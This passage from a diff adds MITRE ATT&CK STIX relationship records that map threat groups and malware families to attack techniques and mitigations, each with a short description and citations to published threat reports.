"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--a0f1273a-e422-4801-a911-e7cb223ebea2", + "external_references": [ + { + "source_name": "ESET Sednit Part 2", + "description": "ESET. (2016, October). En Route with Sednit - Part 2: Observing the Comings and Goings. Retrieved November 21, 2016.", + "url": "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--fb575479-14ef-41e9-bfab-0b7cf10bec73", + "relationship_type": "uses", + "target_ref": "attack-pattern--348f1eef-964b-4eb6-bb53-69b3dcb0c643" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[BADCALL](https://attack.mitre.org/software/S0245) collects the network adapter information.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--f966726b-ff17-4769-8514-e76be900aafa", + "external_references": [ + { + "source_name": "US-CERT BADCALL", + "description": "US-CERT. (2018, February 06). Malware Analysis Report (MAR) - 10135536-G. Retrieved June 7, 2018.", + "url": "https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-G.PDF" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--9dbdadb6-fdbf-490f-a35f-38762d06a0d2", + "relationship_type": "uses", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-17T13:11:38.959Z", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--5ccd4b15-ef11-4b89-b0e1-4dd714fa2fb5", + "external_references": [ + { + "source_name": "FireEye APT32 May 2017", + "description": "Carr, N.. (2017, May 14). Cyber Espionage is Alive and Well: APT32 and the Threat to Global Corporations. Retrieved June 18, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html" + } + ], + "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e", + "relationship_type": "uses", + "target_ref": "malware--7dbb67c7-270a-40ad-836e-c45f8948aa5a" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Dragonfly 2.0](https://attack.mitre.org/groups/G0074) compromised legitimate organizations' websites to create watering holes to compromise victims.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--f993e545-2d09-48c1-9b82-110ab798bdcf", + "external_references": [ + { + "source_name": "US-CERT TA18-074A", + "description": "US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.", + "url": "https://www.us-cert.gov/ncas/alerts/TA18-074A" + } + ], + "modified": "2019-03-22T20:13:49.413Z", + "source_ref": "intrusion-set--76d59913-1d24-4992-a8ac-05a3eb093f71", + "relationship_type": "uses", + "target_ref": "attack-pattern--d742a578-d70e-4d0e-96a6-02a9c30204e6" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[APT29](https://attack.mitre.org/groups/G0016) has used multiple software exploits for common client software, like Microsoft Word and Adobe Reader, to gain code execution as part of.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--5ca1f5dc-9573-46bb-a9db-fb83cd15b272", + "external_references": [ + { + "source_name": "F-Secure The Dukes", + "description": "F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.", + "url": "https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf" + } + ], + "modified": "2019-07-25T14:25:53.078Z", + "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542", + "relationship_type": "uses", + "target_ref": "attack-pattern--be2dcee9-a7a7-4e38-afd6-21b31ecc3d63" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Turla](https://attack.mitre.org/groups/G0010) may attempt to connect to systems within a victim's network using net use commands and a predefined list or collection of passwords.", + "type": "relationship", + "created": "2017-05-31T21:33:27.045Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--5682d524-80f0-4fd8-9960-6f54eeafce96", + "external_references": [ + { + "source_name": "Kaspersky Turla", + "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, August 7). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroburos. Retrieved December 11, 2014.", + "url": "https://securelist.com/the-epic-turla-operation/65545/" + } + ], + "modified": "2019-07-14T21:04:44.688Z", + "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6", + "relationship_type": "uses", + "target_ref": "attack-pattern--a93494bb-4b80-4ea1-8695-3236a49916fd" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-17T16:17:30.683Z", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--3beb0c09-e584-4fd8-92bb-d7a1ae9192e6", + "external_references": [ + { + "source_name": "Palo Alto OilRig May 2016", + "description": "Falcone, R. and Lee, B.. (2016, May 26). The OilRig Campaign: Attacks on Saudi Arabian Organizations Deliver Helminth Backdoor. Retrieved May 3, 2017.", + "url": "http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/" + }, + { + "source_name": "FireEye APT34 Dec 2017", + "description": "Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html" + } + ], + "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d", + "relationship_type": "uses", + "target_ref": "tool--2e45723a-31da-4a7e-aaa6-e01998a6788f" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Gorgon Group](https://attack.mitre.org/groups/G0078) malware can download a remote access tool, [ShiftyBug](https://attack.mitre.org/software/S0294), and inject into another process.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--88078d5c-bbc9-4c34-858f-e18d472d38d4", + "external_references": [ + { + "source_name": "Unit 42 Gorgon Group Aug 2018", + "description": "Falcone, R., et al. (2018, August 02). The Gorgon Group: Slithering Between Nation State and Cybercrime. Retrieved August 7, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/08/unit42-gorgon-group-slithering-nation-state-cybercrime/" + } + ], + "modified": "2019-07-25T14:56:46.647Z", + "source_ref": "intrusion-set--1f21da59-6a13-455b-afd0-d58d0a5a7d27", + "relationship_type": "uses", + "target_ref": "attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[FIN6](https://attack.mitre.org/groups/G0037) has used scheduled tasks to establish persistence for various malware it uses, including downloaders known as HARDTACK and SHIPBREAD and PoS malware known as TRINITY.", + "type": "relationship", + "created": "2017-05-31T21:33:27.071Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--aea8401e-774e-47b1-86ac-220cacd11a3c", + "external_references": [ + { + "source_name": "FireEye FIN6 April 2016", + "description": "FireEye Threat Intelligence. (2016, April). Follow the Money: Dissecting the Operations of the Cyber Crime Group FIN6. Retrieved June 1, 2016.", + "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt-fin6.pdf" + } + ], + "modified": "2019-06-28T14:59:17.525Z", + "source_ref": "intrusion-set--2a7914cf-dff3-428d-ab0f-1014d1c28aeb", + "relationship_type": "uses", + "target_ref": "attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-25T11:27:30.401Z", + "type": "relationship", + "id": "relationship--03f30a17-095b-4656-a7db-87d98628dfd8", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2017-05-31T21:33:27.023Z", + "source_ref": "course-of-action--f6469191-1814-4dbe-a081-2a6daf83a10b", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-25T12:27:19.667Z", + "type": "relationship", + "id": "relationship--85d0b364-01f8-4ed5-a0dd-a534ccfc7025", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2018-10-17T00:14:20.652Z", + "source_ref": "course-of-action--c7e49501-6021-414f-bfa1-94519d8ec314", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--dc31fe1e-d722-49da-8f5f-92c7b5aff534" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-04-25T12:37:45.657Z", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--6287195f-bb8e-45e2-8701-76ec2c5e7a60", + "external_references": [ + { + "source_name": "Rancor Unit42 June 2018", + "description": "Ash, B., et al. (2018, June 26). RANCOR: Targeted Attacks in South East Asia Using PLAINTEE and DDKONG Malware Families. Retrieved July 2, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/06/unit42-rancor-targeted-attacks-south-east-asia-using-plaintee-ddkong-malware-families/" + } + ], + "source_ref": "intrusion-set--f40eb8ce-2a74-4e56-89a1-227021410142", + "relationship_type": "uses", + "target_ref": "malware--21c0b55b-5ff3-4654-a05e-e3fc1ee1ce1b" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-25T11:13:41.605Z", + "type": "relationship", + "id": "relationship--ff93eedd-e788-4541-9a9b-ccead3df0d13", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2017-05-31T21:33:27.029Z", + "source_ref": "course-of-action--ed202147-4026-4330-b5bd-1e8dfa8cf7cc", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Catchamas](https://attack.mitre.org/software/S0261) steals data stored in the clipboard.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--a804782a-fc22-43ab-a561-63007284bdf9", + "external_references": [ + { + "source_name": "Symantec Catchamas April 2018", + "description": "Balanza, M. (2018, April 02). Infostealer.Catchamas. Retrieved July 10, 2018.", + "url": "https://www-west.symantec.com/content/symantec/english/en/security-center/writeup.html/2018-040209-1742-99" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--8d9e758b-735f-4cbc-ba7c-32cd15138b2a", + "relationship_type": "uses", + "target_ref": "attack-pattern--30973a08-aed9-4edf-8604-9084ce1b5c4f" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Honeybee](https://attack.mitre.org/groups/G0072) removes batch files to reduce fingerprint on the system as well as deletes the CAB file that gets encoded upon infection.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--f49125d8-1107-4798-8f6a-d1c6ce6f1de3", + "external_references": [ + { + "source_name": "McAfee Honeybee", + "description": "Sherstobitoff, R. (2018, March 02). McAfee Uncovers Operation Honeybee, a Malicious Document Campaign Targeting Humanitarian Aid Groups. Retrieved May 16, 2018.", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/mcafee-uncovers-operation-honeybee-malicious-document-campaign-targeting-humanitarian-aid-groups/" + } + ], + "modified": "2019-03-25T12:58:44.117Z", + "source_ref": "intrusion-set--ebb73863-fa44-4617-b4cb-b9ed3414eb87", + "relationship_type": "uses", + "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[FinFisher](https://attack.mitre.org/software/S0182) is heavily obfuscated in many ways, including through the use of spaghetti code in its functions in an effort to confuse disassembly programs. It also uses a custom XOR algorithm to obfuscate code.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--f75caad1-161a-4833-b3ec-f4538e1603fe", + "external_references": [ + { + "source_name": "FinFisher Citation", + "description": "FinFisher. (n.d.). Retrieved December 20, 2017.", + "url": "http://www.finfisher.com/FinFisher/index.html" + }, + { + "source_name": "Microsoft FinFisher March 2018", + "description": "Allievi, A.,Flori, E. (2018, March 01). FinFisher exposed: A researcher\u2019s tale of defeating traps, tricks, and complex virtual machines. Retrieved July 9, 2018.", + "url": "https://cloudblogs.microsoft.com/microsoftsecure/2018/03/01/finfisher-exposed-a-researchers-tale-of-defeating-traps-tricks-and-complex-virtual-machines/" + } + ], + "modified": "2019-07-14T21:44:44.087Z", + "source_ref": "malware--a5528622-3a8a-4633-86ce-8cdaf8423858", + "relationship_type": "uses", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Dragonfly 2.0](https://attack.mitre.org/groups/G0074) dropped and executed SecretsDump and CrackMapExec, tools that can dump password hashes.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--206a6a93-9858-4f0b-b389-af1c28502118", + "external_references": [ + { + "source_name": "US-CERT TA18-074A", + "description": "US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.", + "url": "https://www.us-cert.gov/ncas/alerts/TA18-074A" + }, + { + "source_name": "US-CERT APT Energy Oct 2017", + "description": "US-CERT. (2017, October 20). Alert (TA17-293A): Advanced Persistent Threat Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved November 2, 2017.", + "url": "https://www.us-cert.gov/ncas/alerts/TA17-293A" + }, + { + "source_name": "Core Security Impacket", + "description": "Core Security. (n.d.). Impacket. Retrieved November 2, 2017.", + "url": "https://www.coresecurity.com/corelabs-research/open-source-tools/impacket" + } + ], + "modified": "2019-03-22T20:13:49.417Z", + "source_ref": "intrusion-set--76d59913-1d24-4992-a8ac-05a3eb093f71", + "relationship_type": "uses", + "target_ref": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-03-25T14:25:29.682Z", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--b3d63cea-ad1c-47a5-b9e5-09920bae0537", + "external_references": [ + { + "source_name": "Check Point Rocket Kitten", + "description": "Check Point Software Technologies. (2015). ROCKET KITTEN: A CAMPAIGN WITH 9 LIVES. Retrieved March 16, 2018.", + "url": "https://blog.checkpoint.com/wp-content/uploads/2015/11/rocket-kitten-report.pdf" + } + ], + "source_ref": "intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13", + "relationship_type": "uses", + "target_ref": "tool--9a2640c2-9f43-46fe-b13f-bde881e55555" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[InvisiMole](https://attack.mitre.org/software/S0260) can gather network share information.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--e1d0ec8e-0970-4737-9605-1cf8a3ba1371", + "external_references": [ + { + "source_name": "ESET InvisiMole June 2018", + "description": "Hromcov\u00e1, Z. (2018, June 07). InvisiMole: Surprisingly equipped spyware, undercover since 2013. Retrieved July 10, 2018.", + "url": "https://www.welivesecurity.com/2018/06/07/invisimole-equipped-spyware-undercover/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--47afe41c-4c08-485e-b062-c3bd209a1cce", + "relationship_type": "uses", + "target_ref": "attack-pattern--3489cfc5-640f-4bb3-a103-9137b97de79f" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Honeybee](https://attack.mitre.org/groups/G0072) adds collected files to a temp.zip file saved in the %temp% folder, then base64 encodes it and uploads it to control server.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--1c99209f-c152-4cc5-aa66-63b8637eaa47", + "external_references": [ + { + "source_name": "McAfee Honeybee", + "description": "Sherstobitoff, R. (2018, March 02). McAfee Uncovers Operation Honeybee, a Malicious Document Campaign Targeting Humanitarian Aid Groups. Retrieved May 16, 2018.", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/mcafee-uncovers-operation-honeybee-malicious-document-campaign-targeting-humanitarian-aid-groups/" + } + ], + "modified": "2019-03-25T12:58:44.115Z", + "source_ref": "intrusion-set--ebb73863-fa44-4617-b4cb-b9ed3414eb87", + "relationship_type": "uses", + "target_ref": "attack-pattern--b9f5dbe2-4c55-4fc5-af2e-d42c1d182ec4" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Naid](https://attack.mitre.org/software/S0205) collects a unique identifier (UID) from a compromised host.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--70e81cc7-9dd6-4349-b7ab-212a46591cff", + "external_references": [ + { + "source_name": "Symantec Naid June 2012", + "description": "Neville, A. (2012, June 15). Trojan.Naid. Retrieved February 22, 2018.", + "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2012-061518-4639-99" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--48523614-309e-43bf-a2b8-705c2b45d7b2", + "relationship_type": "uses", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[MuddyWater](https://attack.mitre.org/groups/G0069) has compromised third parties and used compromised accounts to send spearphishing emails with targeted attachments to recipients.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--2305a634-b226-4da2-a766-bec5458f9447", + "external_references": [ + { + "source_name": "Unit 42 MuddyWater Nov 2017", + "description": "Lancaster, T.. (2017, November 14). Muddying the Water: Targeted Attacks in the Middle East. Retrieved March 15, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2017/11/unit42-muddying-the-water-targeted-attacks-in-the-middle-east/" + }, + { + "source_name": "FireEye MuddyWater Mar 2018", + "description": "Singh, S. et al.. (2018, March 13). Iranian Threat Group Updates Tactics, Techniques and Procedures in Spear Phishing Campaign. Retrieved April 11, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/03/iranian-threat-group-updates-ttps-in-spear-phishing-campaign.html" + }, + { + "source_name": "Securelist MuddyWater Oct 2018", + "description": "Kaspersky Lab's Global Research & Analysis Team. (2018, October 10). MuddyWater expands operations. Retrieved November 2, 2018.", + "url": "https://securelist.com/muddywater/88059/" + } + ], + "modified": "2019-06-28T15:30:58.376Z", + "source_ref": "intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2", + "relationship_type": "uses", + "target_ref": "attack-pattern--6aac77c4-eaf2-4366-8c13-ce50ab951f38" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[MacSpy](https://attack.mitre.org/software/S0282) stores itself in ~/Library/.DS_Stores/", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--87e853bb-a82f-4a8c-a43a-e7da05f43619", + "external_references": [ + { + "source_name": "alientvault macspy", + "description": "PETER EWANE. (2017, June 9). MacSpy: OS X RAT as a Service. Retrieved September 21, 2018.", + "url": "https://www.alienvault.com/blogs/labs-research/macspy-os-x-rat-as-a-service" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--f72251cb-2be5-421f-a081-99c29a1209e7", + "relationship_type": "uses", + "target_ref": "attack-pattern--dc27c2ec-c5f9-4228-ba57-d67b590bda93" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-25T12:25:53.326Z", + "type": "relationship", + "id": "relationship--338cf92d-43a8-4fdd-948d-1a3bde10d917", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2017-05-31T21:33:27.018Z", + "source_ref": "course-of-action--d8787791-d22e-45bb-a9a8-251d8d0a1ff2", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Magic Hound](https://attack.mitre.org/groups/G0059) malware can list a victim's logical drives and the type, as well the total/free space of the fixed devices. Other malware can list a directory's contents.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--87b8b451-bf9b-4e93-b591-05ef502970f5", + "external_references": [ + { + "source_name": "Unit 42 Magic Hound Feb 2017", + "description": "Lee, B. and Falcone, R. (2017, February 15). Magic Hound Campaign Attacks Saudi Targets. Retrieved December 27, 2017.", + "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit42-magic-hound-campaign-attacks-saudi-targets/" + } + ], + "modified": "2019-03-25T14:25:29.377Z", + "source_ref": "intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13", + "relationship_type": "uses", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-25T11:40:31.647Z", + "type": "relationship", + "id": "relationship--701a2767-70f3-44f1-a397-9c04517ece67", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2018-01-16T16:13:52.465Z", + "source_ref": "course-of-action--9da16278-c6c5-4410-8a6b-9c16ce8005b3", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--2892b9ee-ca9f-4723-b332-0dc6e843a8ae" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[CrossRAT](https://attack.mitre.org/software/S0235) can list all files on a system.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--5f4c8795-68b6-4935-beb4-adde242f44f6", + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--a5e91d50-24fa-44ec-9894-39a88f658cea", + "relationship_type": "uses", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-03-25T14:25:29.684Z", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--67f2ca97-5949-4503-a55c-1f0d3f3502ca", + "external_references": [ + { + "source_name": "FireEye APT35 2018", + "description": "Mandiant. (2018). Mandiant M-Trends 2018. Retrieved July 9, 2018.", + "url": "https://www.fireeye.com/content/dam/collateral/en/mtrends-2018.pdf" + } + ], + "source_ref": "intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13", + "relationship_type": "uses", + "target_ref": "tool--afc079f3-c0ea-4096-b75d-3f05338b7f60" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Turla](https://attack.mitre.org/groups/G0010) attempted to trick targets into clicking on a link featuring a seemingly legitimate domain from Adobe.com to download their malware and gain initial access.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--d42b9304-293a-4b95-a946-dcda81be5c87", + "external_references": [ + { + "source_name": "ESET Turla Mosquito Jan 2018", + "description": "ESET, et al. (2018, January). Diplomats in Eastern Europe bitten by a Turla mosquito. Retrieved July 3, 2018.", + "url": "https://www.welivesecurity.com/wp-content/uploads/2018/01/ESET_Turla_Mosquito.pdf" + } + ], + "modified": "2019-07-14T21:04:44.726Z", + "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6", + "relationship_type": "uses", + "target_ref": "attack-pattern--20138b9d-1aac-4a26-8654-a36b6bbf2bba" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[RawPOS](https://attack.mitre.org/software/S0169) dumps memory from specific processes on a victim system, parses the dumped files, and scrapes them for credit card data.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--92fb7408-1638-43b7-95a3-0cfeebd7624d", + "external_references": [ + { + "source_name": "Kroll RawPOS Jan 2017", + "description": "Nesbit, B. and Ackerman, D. (2017, January). Malware Analysis Report - RawPOS Malware: Deconstructing an Intruder\u2019s Toolkit. Retrieved October 4, 2017.", + "url": "http://www.kroll.com/CMSPages/GetAzureFile.aspx?path=~%5Cmedia%5Cfiles%5Cintelligence-center%5Ckroll_malware-analysis-report.pdf&hash=d5b5d2697118f30374b954f28a08c0ba69836c0ffd99566aa7ec62d1fc72b105" + }, + { + "source_name": "TrendMicro RawPOS April 2015", + "description": "TrendLabs Security Intelligence Blog. (2015, April). RawPOS Technical Brief. Retrieved October 4, 2017.", + "url": "http://sjc1-te-ftp.trendmicro.com/images/tex/pdf/RawPOS%20Technical%20Brief.pdf" + }, + { + "source_name": "Mandiant FIN5 GrrCON Oct 2016", + "description": "Bromiley, M. and Lewis, P. (2016, October 7). Attacking the Hospitality and Gaming Industries: Tracking an Attacker Around the World in 7 Years. Retrieved October 6, 2017.", + "url": "https://www.youtube.com/watch?v=fevGZs0EQu8" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--9752aef4-a1f3-4328-929f-b64eb0536090", + "relationship_type": "uses", + "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Dark Caracal](https://attack.mitre.org/groups/G0070) makes their malware look like Flash Player, Office, or PDF documents in order to entice a user to click on it.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--285ab221-15cf-4215-aa68-a8e74b635633", + "external_references": [ + { + "source_name": "Lookout Dark Caracal Jan 2018", + "description": "Blaich, A., et al. (2018, January 18). Dark Caracal: Cyber-espionage at a Global Scale. Retrieved April 11, 2018.", + "url": "https://info.lookout.com/rs/051-ESQ-475/images/Lookout_Dark-Caracal_srr_20180118_us_v.1.0.pdf" + } + ], + "modified": "2019-07-16T15:35:20.772Z", + "source_ref": "intrusion-set--8a831aaa-f3e0-47a3-bed8-a9ced744dd12", + "relationship_type": "uses", + "target_ref": "attack-pattern--8c32eb4d-805f-4fc5-bf60-c4d476c131b5" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "The \"tDiscoverer\" variant of [HAMMERTOSS](https://attack.mitre.org/software/S0037) establishes a C2 channel by downloading resources from Web services like Twitter and GitHub. 